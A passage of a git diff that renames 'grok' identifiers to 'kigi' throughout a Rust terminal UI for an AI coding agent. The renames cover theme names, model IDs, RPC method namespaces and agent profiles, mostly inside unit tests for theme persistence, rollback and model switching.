     assert!(
         matches!(& effects[0], Effect::PersistSetting { key : "default_model", value :
-        crate ::settings::SettingValue::String(s), .. } if s == "grok-4.5")
+        crate ::settings::SettingValue::String(s), .. } if s == "kigi-4.5")
     );
     assert!(matches!(& effects[1], Effect::SwitchModel { model_id : mid, .. } if mid == & id));
     assert_eq!(app.agents[&agent_id].session.models.current, Some(id));
@@ -976,8 +976,8 @@ fn set_default_model_idempotent_when_already_current() {
     use agent_client_protocol as acp;
     use std::sync::Arc;
     let mut app = test_app_with_agent();
-    let id = acp::ModelId::new(Arc::from("grok-already"));
-    let info = acp::ModelInfo::new(id.clone(), "Grok Already".to_string());
+    let id = acp::ModelId::new(Arc::from("kigi-already"));
+    let info = acp::ModelInfo::new(id.clone(), "Kigi Already".to_string());
     let agent_id = AgentId(0);
     app.agents
         .get_mut(&agent_id)
@@ -2666,16 +2666,16 @@ fn dispatch_cycle_mode_refreshes_open_modal_snapshot() {
         "current_value_for must read the refreshed snapshot",
     );
 }
-/// `dispatch(Action::SetTheme("grokday"), &mut app)` emits
+/// `dispatch(Action::SetTheme("kigiday"), &mut app)` emits
 /// exactly one `Effect::PersistSetting`, mutates
 /// `app.current_ui.theme`, fires a toast, and toggles AUTO_MODE
 /// off (kind is concrete).
 ///
-/// Note: we persist `grokday` (a non-truecolor theme) here
+/// Note: we persist `kigiday` (a non-truecolor theme) here
 /// because `Effect::PersistSetting`'s payload is `&'static str`
 /// from the registry's canonical table — the persisted CANONICAL
 /// is what we're asserting, NOT the live theme cache (which
-/// `clamp_to_terminal` might fold to GrokNight in non-truecolor
+/// `clamp_to_terminal` might fold to KigiNight in non-truecolor
 /// test environments). Persist + canonical contract is the test
 /// invariant; the cache contract is exercised separately by the
 /// `*_applies_when_*` tests.
@@ -2685,8 +2685,8 @@ fn set_theme_emits_persist_setting_with_correct_payload() {
     with_theme_test_env(|| {
         let mut app = test_app_with_agent();
         assert_eq!(app.current_ui.theme, None);
-        crate::theme::cache::set(crate::theme::ThemeKind::GrokNight);
-        let effects = dispatch(Action::SetTheme("grokday".into()), &mut app);
+        crate::theme::cache::set(crate::theme::ThemeKind::KigiNight);
+        let effects = dispatch(Action::SetTheme("kigiday".into()), &mut app);
         assert_eq!(effects.len(), 1);
         match &effects[0] {
             Effect::PersistSetting {
@@ -2695,12 +2695,12 @@ fn set_theme_emits_persist_setting_with_correct_payload() {
                 rollback_value,
             } => {
                 assert_eq!(*key, "theme");
-                assert_eq!(*value, SettingValue::Enum("grokday"));
-                assert_eq!(*rollback_value, SettingValue::Enum("groknight"));
+                assert_eq!(*value, SettingValue::Enum("kigiday"));
+                assert_eq!(*rollback_value, SettingValue::Enum("kiginight"));
             }
             other => panic!("expected PersistSetting, got {other:?}"),
         }
-        assert_eq!(app.current_ui.theme.as_deref(), Some("grokday"));
+        assert_eq!(app.current_ui.theme.as_deref(), Some("kigiday"));
         assert!(
             !crate::theme::cache::is_auto_mode(),
             "concrete theme commit must disable AUTO_MODE",
@@ -2708,7 +2708,7 @@ fn set_theme_emits_persist_setting_with_correct_payload() {
     });
 }
 /// Same payload contract as `set_theme_emits_persist_setting_with_correct_payload`
-/// for the auto-dark sibling. Uses `grokday` to avoid the
+/// for the auto-dark sibling. Uses `kigiday` to avoid the
 /// `clamp_to_terminal` ambiguity in non-truecolor test envs;
 /// `apply_kind` doesn't fire here anyway (parent theme is not
 /// auto by default) but using a non-truecolor canonical keeps
@@ -2718,7 +2718,7 @@ fn set_auto_dark_theme_emits_persist_setting_with_correct_payload() {
     use crate::settings::SettingValue;
     with_theme_test_env(|| {
         let mut app = test_app_with_agent();
-        let effects = dispatch(Action::SetAutoDarkTheme("grokday".into()), &mut app);
+        let effects = dispatch(Action::SetAutoDarkTheme("kigiday".into()), &mut app);
         assert_eq!(effects.len(), 1);
         match &effects[0] {
             Effect::PersistSetting {
@@ -2727,12 +2727,12 @@ fn set_auto_dark_theme_emits_persist_setting_with_correct_payload() {
                 rollback_value,
             } => {
                 assert_eq!(*key, "auto_dark_theme");
-                assert_eq!(*value, SettingValue::Enum("grokday"));
-                assert_eq!(*rollback_value, SettingValue::Enum("groknight"));
+                assert_eq!(*value, SettingValue::Enum("kigiday"));
+                assert_eq!(*rollback_value, SettingValue::Enum("kiginight"));
             }
             other => panic!("expected PersistSetting, got {other:?}"),
         }
-        assert_eq!(app.current_ui.auto_dark_theme.as_deref(), Some("grokday"));
+        assert_eq!(app.current_ui.auto_dark_theme.as_deref(), Some("kigiday"));
     });
 }
 #[test]
@@ -2740,7 +2740,7 @@ fn set_auto_light_theme_emits_persist_setting_with_correct_payload() {
     use crate::settings::SettingValue;
     with_theme_test_env(|| {
         let mut app = test_app_with_agent();
-        let effects = dispatch(Action::SetAutoLightTheme("groknight".into()), &mut app);
+        let effects = dispatch(Action::SetAutoLightTheme("kiginight".into()), &mut app);
         assert_eq!(effects.len(), 1);
         match &effects[0] {
             Effect::PersistSetting {
@@ -2749,14 +2749,14 @@ fn set_auto_light_theme_emits_persist_setting_with_correct_payload() {
                 rollback_value,
             } => {
                 assert_eq!(*key, "auto_light_theme");
-                assert_eq!(*value, SettingValue::Enum("groknight"));
-                assert_eq!(*rollback_value, SettingValue::Enum("grokday"));
+                assert_eq!(*value, SettingValue::Enum("kiginight"));
+                assert_eq!(*rollback_value, SettingValue::Enum("kigiday"));
             }
             other => panic!("expected PersistSetting, got {other:?}"),
         }
         assert_eq!(
             app.current_ui.auto_light_theme.as_deref(),
-            Some("groknight"),
+            Some("kiginight"),
         );
     });
 }
@@ -2809,11 +2809,11 @@ fn preview_auto_light_theme_emits_no_persist_and_no_current_ui_mutation() {
 /// Auto-theme commit applies the live theme **only** when
 /// `theme="auto"` AND the system is in the matching mode.
 ///
-/// Scenario: `theme="groknight"` (concrete) + system=Dark. User
-/// commits `auto_dark_theme="grokday"`. The setting is dormant
+/// Scenario: `theme="kiginight"` (concrete) + system=Dark. User
+/// commits `auto_dark_theme="kigiday"`. The setting is dormant
 /// (parent theme is concrete, not auto), so the live display
-/// must stay on GrokNight even though we're committing a
-/// different theme. Uses `grokday` to avoid `clamp_to_terminal`
+/// must stay on KigiNight even though we're committing a
+/// different theme. Uses `kigiday` to avoid `clamp_to_terminal`
 /// ambiguity in non-truecolor envs.
 #[test]
 fn set_auto_dark_theme_does_not_apply_when_theme_is_not_auto() {
@@ -2822,28 +2822,28 @@ fn set_auto_dark_theme_does_not_apply_when_theme_is_not_auto() {
             crate::theme::system_appearance::SystemAppearance::Dark,
         ));
         let mut app = test_app_with_agent();
-        let _ = dispatch(Action::SetTheme("groknight".into()), &mut app);
+        let _ = dispatch(Action::SetTheme("kiginight".into()), &mut app);
         assert_eq!(
             crate::theme::cache::current_kind(),
-            crate::theme::ThemeKind::GrokNight,
+            crate::theme::ThemeKind::KigiNight,
         );
-        let _ = dispatch(Action::SetAutoDarkTheme("grokday".into()), &mut app);
+        let _ = dispatch(Action::SetAutoDarkTheme("kigiday".into()), &mut app);
         assert_eq!(
             crate::theme::cache::current_kind(),
-            crate::theme::ThemeKind::GrokNight,
+            crate::theme::ThemeKind::KigiNight,
             "auto_dark_theme commit must NOT change live display when theme is not auto",
         );
-        assert_eq!(app.current_ui.auto_dark_theme.as_deref(), Some("grokday"));
+        assert_eq!(app.current_ui.auto_dark_theme.as_deref(), Some("kigiday"));
     });
 }
 /// Auto-theme commit DOES apply the live theme when both
 /// (a) parent theme = auto AND (b) system matches.
 ///
-/// Uses `GrokDay` (non-truecolor-requiring) for the dark-mode
+/// Uses `KigiDay` (non-truecolor-requiring) for the dark-mode
 /// fixture: the test environment's color detection may not report
 /// truecolor support, and `Theme::apply_kind` clamps
 /// truecolor-only themes (TokyoNight, RosePineMoon) down to
-/// GrokNight. Using a non-truecolor theme avoids the clamp
+/// KigiNight. Using a non-truecolor theme avoids the clamp
 /// uncertainty. The "live apply" contract is what we're testing
 /// — the specific theme picked is incidental.
 #[test]
@@ -2857,21 +2857,21 @@ fn set_auto_dark_theme_applies_when_theme_is_auto_and_system_is_dark() {
         assert!(crate::theme::cache::is_auto_mode());
         assert_eq!(
             crate::theme::cache::current_kind(),
-            crate::theme::ThemeKind::GrokNight,
+            crate::theme::ThemeKind::KigiNight,
         );
-        let _ = dispatch(Action::SetAutoDarkTheme("grokday".into()), &mut app);
+        let _ = dispatch(Action::SetAutoDarkTheme("kigiday".into()), &mut app);
         assert_eq!(
             crate::theme::cache::current_kind(),
-            crate::theme::ThemeKind::GrokDay,
+            crate::theme::ThemeKind::KigiDay,
             "auto_dark_theme commit must update live display when theme=auto + system=Dark",
         );
     });
 }
 /// Auto-theme commit does NOT apply when system is in the
 /// non-matching mode (auto_dark_theme + system=Light).
-/// Uses `groknight` for the auto_dark_theme
+/// Uses `kiginight` for the auto_dark_theme
 /// value to avoid `clamp_to_terminal` ambiguity (we want a
-/// concrete kind that's clearly different from GrokDay, the
+/// concrete kind that's clearly different from KigiDay, the
 /// active resolved theme).
 #[test]
 fn set_auto_dark_theme_does_not_apply_when_system_is_light() {
@@ -2883,20 +2883,20 @@ fn set_auto_dark_theme_does_not_apply_when_system_is_light() {
         let _ = dispatch(Action::SetTheme("auto".into()), &mut app);
         assert_eq!(
             crate::theme::cache::current_kind(),
-            crate::theme::ThemeKind::GrokDay,
+            crate::theme::ThemeKind::KigiDay,
         );
-        let _ = dispatch(Action::SetAutoDarkTheme("groknight".into()), &mut app);
+        let _ = dispatch(Action::SetAutoDarkTheme("kiginight".into()), &mut app);
         assert_eq!(
             crate::theme::cache::current_kind(),
-            crate::theme::ThemeKind::GrokDay,
+            crate::theme::ThemeKind::KigiDay,
             "auto_dark_theme commit must NOT change live display when system=Light",
         );
-        assert_eq!(app.current_ui.auto_dark_theme.as_deref(), Some("groknight"),);
+        assert_eq!(app.current_ui.auto_dark_theme.as_deref(), Some("kiginight"),);
     });
 }
 /// Symmetric to the dark test: `set_auto_light_theme` applies only
 /// when theme=auto + system=Light. Uses a non-truecolor theme
-/// (`groknight`) for the same clamp reason as the dark variant.
+/// (`kiginight`) for the same clamp reason as the dark variant.
 #[test]
 fn set_auto_light_theme_applies_when_theme_is_auto_and_system_is_light() {
     with_theme_test_env(|| {
@@ -2907,12 +2907,12 @@ fn set_auto_light_theme_applies_when_theme_is_auto_and_system_is_light() {
         let _ = dispatch(Action::SetTheme("auto".into()), &mut app);
         assert_eq!(
             crate::theme::cache::current_kind(),
-            crate::theme::ThemeKind::GrokDay,
+            crate::theme::ThemeKind::KigiDay,
         );
-        let _ = dispatch(Action::SetAutoLightTheme("groknight".into()), &mut app);
+        let _ = dispatch(Action::SetAutoLightTheme("kiginight".into()), &mut app);
         assert_eq!(
             crate::theme::cache::current_kind(),
-            crate::theme::ThemeKind::GrokNight,
+            crate::theme::ThemeKind::KigiNight,
             "auto_light_theme must update display when theme=auto + system=Light",
         );
     });
@@ -2986,7 +2986,7 @@ fn set_auto_light_theme_rejects_auto_value() {
 fn set_theme_toast_format_uses_display_name() {
     with_theme_test_env(|| {
         let mut app = test_app_with_agent();
-        let _ = dispatch(Action::SetTheme("grokday".into()), &mut app);
+        let _ = dispatch(Action::SetTheme("kigiday".into()), &mut app);
         let toast = read_toast(&app);
         assert!(
             toast.contains("Theme"),
@@ -2994,7 +2994,7 @@ fn set_theme_toast_format_uses_display_name() {
         );
         assert!(
             toast.contains("Kigi Day"),
-            "toast must use display name `Kigi Day`, not canonical `grokday`, got: {toast:?}",
+            "toast must use display name `Kigi Day`, not canonical `kigiday`, got: {toast:?}",
         );
         assert!(toast.contains('\u{2713}'), "toast must contain the ✓ glyph");
     });
@@ -3003,7 +3003,7 @@ fn set_theme_toast_format_uses_display_name() {
 fn set_auto_dark_theme_toast_format_uses_display_name() {
     with_theme_test_env(|| {
         let mut app = test_app_with_agent();
-        let _ = dispatch(Action::SetAutoDarkTheme("grokday".into()), &mut app);
+        let _ = dispatch(Action::SetAutoDarkTheme("kigiday".into()), &mut app);
         let toast = read_toast(&app);
         assert!(toast.contains("Auto dark theme"));
         assert!(toast.contains("Kigi Day"));
@@ -3014,7 +3014,7 @@ fn set_auto_dark_theme_toast_format_uses_display_name() {
 fn set_auto_light_theme_toast_format_uses_display_name() {
     with_theme_test_env(|| {
         let mut app = test_app_with_agent();
-        let _ = dispatch(Action::SetAutoLightTheme("groknight".into()), &mut app);
+        let _ = dispatch(Action::SetAutoLightTheme("kiginight".into()), &mut app);
         let toast = read_toast(&app);
         assert!(toast.contains("Auto light theme"));
         assert!(toast.contains("Kigi Night"));
@@ -3024,7 +3024,7 @@ fn set_auto_light_theme_toast_format_uses_display_name() {
 /// reverts `app.current_ui.theme` AND the live cache (mirror of
 /// `rollback_known_key_reverts_cache_and_no_effect`).
 ///
-/// Uses non-truecolor themes (`grokday` ↔ `groknight`) to avoid
+/// Uses non-truecolor themes (`kigiday` ↔ `kiginight`) to avoid
 /// the `clamp_to_terminal` interaction in test environments that
 /// don't report truecolor support.
 #[test]
@@ -3032,28 +3032,28 @@ fn rollback_theme_reverts_current_ui_and_cache() {
     use crate::settings::SettingValue;
     with_theme_test_env(|| {
         let mut app = test_app_with_agent();
-        let _ = dispatch(Action::SetTheme("grokday".into()), &mut app);
-        assert_eq!(app.current_ui.theme.as_deref(), Some("grokday"));
+        let _ = dispatch(Action::SetTheme("kigiday".into()), &mut app);
+        assert_eq!(app.current_ui.theme.as_deref(), Some("kigiday"));
         assert_eq!(
             crate::theme::cache::current_kind(),
-            crate::theme::ThemeKind::GrokDay,
+            crate::theme::ThemeKind::KigiDay,
         );
         let _ = dispatch(
             Action::TaskComplete(TaskResult::SettingPersistFailed {
                 key: "theme",
-                rollback_value: SettingValue::Enum("groknight"),
+                rollback_value: SettingValue::Enum("kiginight"),
                 error: "disk full".into(),
             }),
             &mut app,
         );
         assert_eq!(
             app.current_ui.theme.as_deref(),
-            Some("groknight"),
+            Some("kiginight"),
             "rollback must update app.current_ui.theme",
         );
         assert_eq!(
             crate::theme::cache::current_kind(),
-            crate::theme::ThemeKind::GrokNight,
+            crate::theme::ThemeKind::KigiNight,
             "rollback must update the live theme cache too",
         );
     });
@@ -3063,17 +3063,17 @@ fn rollback_auto_dark_theme_reverts_current_ui() {
     use crate::settings::SettingValue;
     with_theme_test_env(|| {
         let mut app = test_app_with_agent();
-        let _ = dispatch(Action::SetAutoDarkTheme("grokday".into()), &mut app);
-        assert_eq!(app.current_ui.auto_dark_theme.as_deref(), Some("grokday"));
+        let _ = dispatch(Action::SetAutoDarkTheme("kigiday".into()), &mut app);
+        assert_eq!(app.current_ui.auto_dark_theme.as_deref(), Some("kigiday"));
         let _ = dispatch(
             Action::TaskComplete(TaskResult::SettingPersistFailed {
                 key: "auto_dark_theme",
-                rollback_value: SettingValue::Enum("groknight"),
+                rollback_value: SettingValue::Enum("kiginight"),
                 error: "disk full".into(),
             }),
             &mut app,
         );
-        assert_eq!(app.current_ui.auto_dark_theme.as_deref(), Some("groknight"),);
+        assert_eq!(app.current_ui.auto_dark_theme.as_deref(), Some("kiginight"),);
     });
 }
 #[test]
@@ -3081,20 +3081,20 @@ fn rollback_auto_light_theme_reverts_current_ui() {
     use crate::settings::SettingValue;
     with_theme_test_env(|| {
         let mut app = test_app_with_agent();
-        let _ = dispatch(Action::SetAutoLightTheme("groknight".into()), &mut app);
+        let _ = dispatch(Action::SetAutoLightTheme("kiginight".into()), &mut app);
         assert_eq!(
             app.current_ui.auto_light_theme.as_deref(),
-            Some("groknight"),
+            Some("kiginight"),
         );
         let _ = dispatch(
             Action::TaskComplete(TaskResult::SettingPersistFailed {
                 key: "auto_light_theme",
-                rollback_value: SettingValue::Enum("grokday"),
+                rollback_value: SettingValue::Enum("kigiday"),
                 error: "disk full".into(),
             }),
             &mut app,
         );
-        assert_eq!(app.current_ui.auto_light_theme.as_deref(), Some("grokday"));
+        assert_eq!(app.current_ui.auto_light_theme.as_deref(), Some("kigiday"));
     });
 }
 /// Edge case — if the rollback value is
@@ -3109,8 +3109,8 @@ fn rollback_auto_dark_theme_with_auto_value_clears_to_none() {
     use crate::settings::SettingValue;
     with_theme_test_env(|| {
         let mut app = test_app_with_agent();
-        let _ = dispatch(Action::SetAutoDarkTheme("grokday".into()), &mut app);
-        assert_eq!(app.current_ui.auto_dark_theme.as_deref(), Some("grokday"));
+        let _ = dispatch(Action::SetAutoDarkTheme("kigiday".into()), &mut app);
+        assert_eq!(app.current_ui.auto_dark_theme.as_deref(), Some("kigiday"));
         let _ = dispatch(
             Action::TaskComplete(TaskResult::SettingPersistFailed {
                 key: "auto_dark_theme",
@@ -3131,10 +3131,10 @@ fn rollback_auto_light_theme_with_auto_value_clears_to_none() {
     use crate::settings::SettingValue;
     with_theme_test_env(|| {
         let mut app = test_app_with_agent();
-        let _ = dispatch(Action::SetAutoLightTheme("groknight".into()), &mut app);
+        let _ = dispatch(Action::SetAutoLightTheme("kiginight".into()), &mut app);
         assert_eq!(
             app.current_ui.auto_light_theme.as_deref(),
-            Some("groknight"),
+            Some("kiginight"),
         );
         let _ = dispatch(
             Action::TaskComplete(TaskResult::SettingPersistFailed {
diff --git a/crates/codegen/kigi-tui/src/app/dispatch/tests/status.rs b/crates/codegen/kigi-tui/src/app/dispatch/tests/status.rs
index 34f1398..2915289 100644
--- a/crates/codegen/kigi-tui/src/app/dispatch/tests/status.rs
+++ b/crates/codegen/kigi-tui/src/app/dispatch/tests/status.rs
@@ -198,16 +198,16 @@ fn dispatch_confirm_reset_setting_reset_dispatches_typed_setter_for_shared_enum(
         &mut app,
     );
 
-    // Reset → SetTheme("groknight") (the registered default).
+    // Reset → SetTheme("kiginight") (the registered default).
     assert_eq!(effects.len(), 1);
     match &effects[0] {
         Effect::PersistSetting { key, value, .. } => {
             assert_eq!(*key, "theme");
-            assert_eq!(value, &SettingValue::Enum("groknight"));
+            assert_eq!(value, &SettingValue::Enum("kiginight"));
         }
         other => panic!("expected PersistSetting, got {other:?}"),
     }
-    assert_eq!(app.current_ui.theme.as_deref(), Some("groknight"));
+    assert_eq!(app.current_ui.theme.as_deref(), Some("kiginight"));
 }
 
 #[test]
diff --git a/crates/codegen/kigi-tui/src/app/dispatch/tests/task_result.rs b/crates/codegen/kigi-tui/src/app/dispatch/tests/task_result.rs
index 495b35e..f0d5434 100644
--- a/crates/codegen/kigi-tui/src/app/dispatch/tests/task_result.rs
+++ b/crates/codegen/kigi-tui/src/app/dispatch/tests/task_result.rs
@@ -421,7 +421,7 @@ fn uninstall_result_notice_is_footer_only_not_row_anchored() {
     );
 }
 
-/// Regression (Bugbot): a failed `x.ai/subagent/cancel` RPC must NOT
+/// Regression (Bugbot): a failed `kigi/subagent/cancel` RPC must NOT
 /// finalize the row — the subagent may still be running. Only a shell
 /// response of "nothing live" finalizes it.
 #[test]
@@ -509,7 +509,7 @@ fn cancel_complete_does_nothing() {
 fn switch_model_complete_success_updates_model_and_pushes_message() {
     let mut app = test_app_with_agent();
     let id = AgentId(0);
-    let model_id = acp::ModelId::new(std::sync::Arc::from("grok-4.5"));
+    let model_id = acp::ModelId::new(std::sync::Arc::from("kigi-4.5"));
 
     // Set up available models so the display name can be resolved.
     app.agents
@@ -520,7 +520,7 @@ fn switch_model_complete_success_updates_model_and_pushes_message() {
         .available
         .insert(
             model_id.clone(),
-            acp::ModelInfo::new(model_id.clone(), "Grok 4.5".to_string()),
+            acp::ModelInfo::new(model_id.clone(), "Kigi 4.5".to_string()),
         );
     app.agents
         .get_mut(&id)
@@ -562,12 +562,12 @@ fn switch_model_complete_success_updates_model_and_pushes_message() {
 fn switch_model_complete_skips_message_and_persist_when_unchanged() {
     let mut app = test_app_with_agent();
     let id = AgentId(0);
-    let model_id = acp::ModelId::new(std::sync::Arc::from("grok-4.5"));
+    let model_id = acp::ModelId::new(std::sync::Arc::from("kigi-4.5"));
 
     let agent = app.agents.get_mut(&id).unwrap();
     agent.session.models.available.insert(
         model_id.clone(),
-        acp::ModelInfo::new(model_id.clone(), "Grok 4.5".to_string()),
+        acp::ModelInfo::new(model_id.clone(), "Kigi 4.5".to_string()),
     );
     agent.session.models.current = Some(model_id.clone());
     agent.session.models.reasoning_effort = None;
@@ -667,7 +667,7 @@ fn switch_to_non_reasoning_model_clears_persisted_effort() {
     use kigi_shell::sampling::types::ReasoningEffort;
     let mut app = test_app_with_agent();
     let id = AgentId(0);
-    let model_id = acp::ModelId::new(std::sync::Arc::from("grok-4.5"));
+    let model_id = acp::ModelId::new(std::sync::Arc::from("kigi-4.5"));
 
     // Simulate prior reasoning effort from a previous model.
     app.agents
@@ -686,7 +686,7 @@ fn switch_to_non_reasoning_model_clears_persisted_effort() {
         .available
         .insert(
             model_id.clone(),
-            acp::ModelInfo::new(model_id.clone(), "Grok Build".to_string()),
+            acp::ModelInfo::new(model_id.clone(), "Kigi".to_string()),
         );
     app.agents
         .get_mut(&id)
@@ -773,7 +773,7 @@ fn switch_model_incompatible_agent_shows_question_modal() {
 
     let err = kigi_shell::agent::config::ModelSwitchIncompatibleAgentError {
         code: "MODEL_SWITCH_INCOMPATIBLE_AGENT".into(),
-        active_agent_type: "grok-build".into(),
+        active_agent_type: "kigi".into(),
         required_agent_type: "cursor".into(),
         model_id: "cursor-model".into(),
         suggestion: "start_new_session".into(),
@@ -836,7 +836,7 @@ fn incompatible_agent_rollback_restores_previous_model() {
 
     let err = kigi_shell::agent::config::ModelSwitchIncompatibleAgentError {
         code: "MODEL_SWITCH_INCOMPATIBLE_AGENT".into(),
-        active_agent_type: "grok-build".into(),
+        active_agent_type: "kigi".into(),
         required_agent_type: "cursor".into(),
         model_id: "cursor-model".into(),
         suggestion: "start_new_session".into(),
@@ -882,7 +882,7 @@ fn incompatible_agent_closes_active_modal() {
 
     let err = kigi_shell::agent::config::ModelSwitchIncompatibleAgentError {
         code: "MODEL_SWITCH_INCOMPATIBLE_AGENT".into(),
-        active_agent_type: "grok-build".into(),
+        active_agent_type: "kigi".into(),
         required_agent_type: "cursor".into(),
         model_id: "cursor-model".into(),
         suggestion: "start_new_session".into(),
@@ -919,19 +919,19 @@ fn same_agent_type_switch_no_modal() {
     // should succeed normally — no modal, no IncompatibleAgent error.
     let mut app = test_app_with_agent();
     let id = AgentId(0);
-    let model_a = acp::ModelId::new(std::sync::Arc::from("grok-build-a"));
-    let model_b = acp::ModelId::new(std::sync::Arc::from("grok-build-b"));
+    let model_a = acp::ModelId::new(std::sync::Arc::from("kigi-a"));
+    let model_b = acp::ModelId::new(std::sync::Arc::from("kigi-b"));
 
-    // Add both models to the catalog (no agentType → both use grok-build).
+    // Add both models to the catalog (no agentType → both use kigi).
     let agent = app.agents.get_mut(&id).unwrap();
     agent.session.models.available.insert(
         model_a.clone(),
-        acp::ModelInfo::new(model_a.clone(), "Grok Build A".to_string()),
+        acp::ModelInfo::new(model_a.clone(), "Kigi A".to_string()),
     );
     agent.session.models.set_current(model_a, None);
     agent.session.models.available.insert(
         model_b.clone(),
-        acp::ModelInfo::new(model_b.clone(), "Grok Build B".to_string()),
+        acp::ModelInfo::new(model_b.clone(), "Kigi B".to_string()),
     );
     agent.session.model_switch_pending = true;
 
@@ -963,7 +963,7 @@ fn switch_model_pending_lifecycle() {
     // Full lifecycle: false -> dispatch SwitchModel -> true -> SwitchModelComplete -> false
     let mut app = test_app_with_agent();
     let id = AgentId(0);
-    let model_id = acp::ModelId::new(std::sync::Arc::from("grok-4.5"));
+    let model_id = acp::ModelId::new(std::sync::Arc::from("kigi-4.5"));
 
     // Initially false.
     assert!(!app.agents[&id].session.model_switch_pending);
diff --git a/crates/codegen/kigi-tui/src/app/dispatch/tests/transcript.rs b/crates/codegen/kigi-tui/src/app/dispatch/tests/transcript.rs
index a0c7e45..6085a99 100644
--- a/crates/codegen/kigi-tui/src/app/dispatch/tests/transcript.rs
+++ b/crates/codegen/kigi-tui/src/app/dispatch/tests/transcript.rs
@@ -246,7 +246,7 @@ fn plugins_list_response() -> kigi_hooks_plugins_types::PluginsListResponse {
         plugins: vec![
             test_plugin_info(
                 "user-tool",
-                Some(kigi_hooks_plugins_types::PluginOrigin::UserGrok),
+                Some(kigi_hooks_plugins_types::PluginOrigin::UserKigi),
             ),
             test_plugin_info(
                 "claude-tool",
diff --git a/crates/codegen/kigi-tui/src/app/dispatch/tests/turn.rs b/crates/codegen/kigi-tui/src/app/dispatch/tests/turn.rs
index bfd4b4d..56bf7e7 100644
--- a/crates/codegen/kigi-tui/src/app/dispatch/tests/turn.rs
+++ b/crates/codegen/kigi-tui/src/app/dispatch/tests/turn.rs
@@ -160,7 +160,7 @@ fn cancel_turn_leaves_shared_queue_for_agent_to_drain() {
     // shared queue (broadcast to all attached clients). The agent owns the
     // drain: on cancel the FRONT queued prompt runs next (promoted
     // server-side), so the pager must NOT pull it back into the input or
-    // mutate the queue locally — the `x.ai/queue/changed` rebroadcast is the
+    // mutate the queue locally — the `kigi/queue/changed` rebroadcast is the
     // source of truth.
     let mut app = test_app_with_agent();
     let id = AgentId(0);
diff --git a/crates/codegen/kigi-tui/src/app/dispatch/transcript.rs b/crates/codegen/kigi-tui/src/app/dispatch/transcript.rs
index 7307175..d33c8f4 100644
--- a/crates/codegen/kigi-tui/src/app/dispatch/transcript.rs
+++ b/crates/codegen/kigi-tui/src/app/dispatch/transcript.rs
@@ -202,7 +202,7 @@ pub(crate) fn dispatch_open_transcript_pager(app: &mut AppView) {
         return;
     };
 
-    let path = std::env::temp_dir().join(format!("grok-transcript-{}.md", uuid::Uuid::new_v4()));
+    let path = std::env::temp_dir().join(format!("kigi-transcript-{}.md", uuid::Uuid::new_v4()));
     match std::fs::write(&path, content) {
         Ok(()) => {
             app.pending_pager_path = Some(path);
@@ -636,7 +636,7 @@ pub(super) fn handle_skills_toggle_done(
             }
         }
     }
-    // The toggle effect already called x.ai/skills/refresh-baseline
+    // The toggle effect already called kigi/skills/refresh-baseline
     // which triggers the session to reload skills and push an
     // AvailableCommandsUpdate notification with the updated list.
     vec![]
diff --git a/crates/codegen/kigi-tui/src/app/dispatch/turn.rs b/crates/codegen/kigi-tui/src/app/dispatch/turn.rs
index cac6116..199265d 100644
--- a/crates/codegen/kigi-tui/src/app/dispatch/turn.rs
+++ b/crates/codegen/kigi-tui/src/app/dispatch/turn.rs
@@ -258,7 +258,7 @@ pub(super) fn do_cancel_turn(app: &mut AppView, cancel_subagents: bool) -> Vec<E
 
     // Server-authoritative queue: the agent owns the drain. On an interactive
     // cancel we only tear down the running turn and let the agent promote the
-    // FRONT queued prompt as the next turn — its `x.ai/queue/changed`
+    // FRONT queued prompt as the next turn — its `kigi/queue/changed`
     // rebroadcast (carrying `running_prompt_id`) is the source of truth, and the
     // pager adopts it via `handle_queue_changed` / `apply_turn_start_shim`. We
     // do NOT pull any queued prompt back into the input or predict the new queue
@@ -277,7 +277,7 @@ pub(super) fn do_cancel_turn(app: &mut AppView, cancel_subagents: bool) -> Vec<E
     }]
 }
 
-/// Grace window between a driver-side `x.ai/session/prompt_complete`
+/// Grace window between a driver-side `kigi/session/prompt_complete`
 /// broadcast and that turn's `session/prompt` RPC response, after which
 /// [`reconcile_overdue_turn_ends`] finishes the turn from the broadcast. The
 /// healthy-path gap is milliseconds (the shell emits the broadcast just
@@ -285,7 +285,7 @@ pub(super) fn do_cancel_turn(app: &mut AppView, cancel_subagents: bool) -> Vec<E
 /// genuinely lost, not merely slow.
 pub(crate) const TURN_END_RECONCILE_GRACE: std::time::Duration = std::time::Duration::from_secs(2);
 
-/// Finish turns whose end was announced by `x.ai/session/prompt_complete`
+/// Finish turns whose end was announced by `kigi/session/prompt_complete`
 /// but whose `session/prompt` RPC response never arrived.
 ///
 /// The RPC response is the driver's only turn-state exit, and it can be lost
diff --git a/crates/codegen/kigi-tui/src/app/effects/helpers.rs b/crates/codegen/kigi-tui/src/app/effects/helpers.rs
index 5a25510..338b5b4 100644
--- a/crates/codegen/kigi-tui/src/app/effects/helpers.rs
+++ b/crates/codegen/kigi-tui/src/app/effects/helpers.rs
@@ -103,7 +103,7 @@ pub(super) fn parse_session_load_restore_meta(
         .and_then(|v| serde_json::from_value(v).ok());
     (code_restored, restore_summary, restore_degree)
 }
-/// CANONICAL wire parser for `LoadSessionResponse._meta["x.ai/runningPromptId"]`.
+/// CANONICAL wire parser for `LoadSessionResponse._meta["kigi/runningPromptId"]`.
 ///
 /// Returns the session's in-flight running prompt id when the session was
 /// loaded MID-turn (some other client is driving), otherwise `None`. The
@@ -114,7 +114,7 @@ pub(crate) fn parse_session_load_running_prompt_id(
     resp_meta: Option<&acp::Meta>,
 ) -> Option<String> {
     resp_meta
-        .and_then(|m| m.get("x.ai/runningPromptId"))
+        .and_then(|m| m.get("kigi/runningPromptId"))
         .and_then(|v| v.as_str())
         .map(String::from)
 }
@@ -133,7 +133,7 @@ pub(crate) fn sanitize_user_error(raw: &str) -> String {
         ("inference_api", "server"),
         ("research-api", "server"),
         ("research_api", "server"),
-        ("grok-code-backend", "server"),
+        ("kigi-code-backend", "server"),
         ("ACP error:", "error:"),
         ("ACP request failed:", "request failed:"),
         ("JSON-RPC error", "request error"),
@@ -165,17 +165,17 @@ pub(crate) fn sanitize_user_error(raw: &str) -> String {
 ///
 /// | plan  | subagents | ask-user | agentProfile                   | askUserQuestion    |
 /// |-------|-----------|----------|--------------------------------|--------------------|
-/// | false | false     | false    | `grok-build` (default)         | `false`            |
-/// | false | true      | false    | `grok-build` (default)         | `false`            |
-/// | false | false     | true     | `grok-build-ask-user`          | omitted (shell gate) |
-/// | false | true      | true     | `grok-build-ask-user`          | omitted (shell gate) |
-/// | true  | false     | false    | `grok-build-plan-no-subagents` | `false`            |
-/// | true  | true      | false    | `grok-build-plan`              | `false`            |
